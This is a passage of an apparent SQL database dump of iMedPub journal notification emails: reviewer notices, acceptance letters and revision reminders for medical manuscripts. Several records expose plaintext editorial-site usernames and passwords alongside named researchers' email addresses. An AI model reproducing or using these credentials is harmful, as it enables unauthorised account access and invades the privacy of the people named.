<b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',8836,'2021-08-12',984),(3612,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9811</b><br />\r\n            <br />\r\n            Article Title: <b>Role Neutrophil to lymphocyte ratio on admission as a predictor of in hospital mortality in septic patients</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fazal ur Rehman</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9811</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> szarpak<br />\r\n            <b>Password:</b> eRgytVxj<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','lukasz.szarpak@gmail.com',9811,'2021-08-13',85),(3613,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-08-13',85),(3614,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9813</b><br />\r\n            <br />\r\n            Article Title: <b>A Cross Sectional Study on Health and Nutritional Status of School Age Children (6 to 19 years) Of Public Schools in Rural Areas of Punjab Province, Pakistan</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Zareen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drzareen@punjab.gov.pk',9813,'2021-08-13',48),(3615,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9910</b><br />\r\n            <br />\r\n            Article Title: <b>The impact of quality improvements initiatives on reducing the prevalence of central line-associated infection: An Integrative Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alotaibi </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dr.ahmed.mdical@gmail.com',9910,'2021-08-13',48),(3616,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9753</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, Attitudes and practices of fourth year nursing students regarding the care of people living with HIV/AIDS (PLWH)</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>SIKULO</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kmsikulo@gmail.com',9753,'2021-08-13',1045),(3618,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9976</b><br />\r\n            <br />\r\n            Article Title: <b>The Requirements of Chemical Manufacturing and Control in the Pre-clinical and Clinical Studies of a Potential Drug</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',9976,'2021-08-14',48),(3619,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9960</b><br />\r\n            <br />\r\n            Article Title: <b>Factors influencing inequity in access to urban health service delivery in low resource setting country Bangladesh</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Islam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shafiq.pad@gmail.com',9960,'2021-08-14',48),(3620,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9811</b><br />\r\n            <br />\r\n            Article Title: <b>Role Neutrophil to lymphocyte ratio on admission as a predictor of in hospital mortality in septic patients</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rehman</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fazalrehman@aku.edu',9811,'2021-08-16',85),(3629,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9663</b><br />\r\n            <br />\r\n            Article Title: <b>Medicinal usage and side effects of penicillin 	</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Douglas Regan</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9663</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9663,'2021-08-17',988),(3630,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9663</b><br />\r\n            <br />\r\n            Article Title: <b>Medicinal usage and side effects of penicillin 	</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Regan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','douglas@gmail.com',9663,'2021-08-17',988),(3636,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9517</b><br />\r\n            <br />\r\n            Article Title: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Palak Paudel</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shyam </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9517</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sundar_nandi<br />\r\n            <b>Password:</b> 72j2Bjjk<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','shyam.nandi@unmc.edu',9517,'2021-08-18',85),(3637,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8660</b><br />\r\n            <br />\r\n            Article Title: <b>Neonatal  and Maternal outcomes in Pregnant Women with Rheumatoid Arthritis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>nazdar raouf</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8660</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> satoh<br />\r\n            <b>Password:</b> 4CHdz3yc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','hiroaki@fmu.ac.jp',8660,'2021-08-18',85),(3640,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10001</b><br />\r\n            <br />\r\n            Article Title: <b>The Cytotoxic Molecule Ansamitocin P-3 Suppresses Cell Proliferation and Tumor Growth in Lung Carcinoma</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',10001,'2021-08-19',48),(3645,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9998</b><br />\r\n            <br />\r\n            Article Title: <b>Iris recognition for smokers and non-smokers</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mohammadreza Azimi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9998</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9998,'2021-08-20',988),(3646,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9998</b><br />\r\n            <br />\r\n            Article Title: <b>Iris recognition for smokers and non-smokers</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Azimi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','m_r_azimi1991@yahoo.com',9998,'2021-08-20',988),(3648,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-08-20',85),(3649,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-08-20',85),(3653,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-08-21',85),(3654,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10017</b><br />\r\n            <br />\r\n            Article Title: <b>A case series of Pityriasis rosea-like adverse drug eruption</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Salah</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-08-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nesrinebensalah2612019@gmail.com',10017,'2021-08-23',48),(3655,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9934</b><br />\r\n            <br />\r\n            Article Title: <b>DETERMINANTS OF UNDER-FIVE MORTALITY IN TACH- ARMACHIHO DISTRICT, NORTH GONDAR, ETHIOPIA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Abera</b><br />\r\n            <br />\r\n            I am pleased to tell you 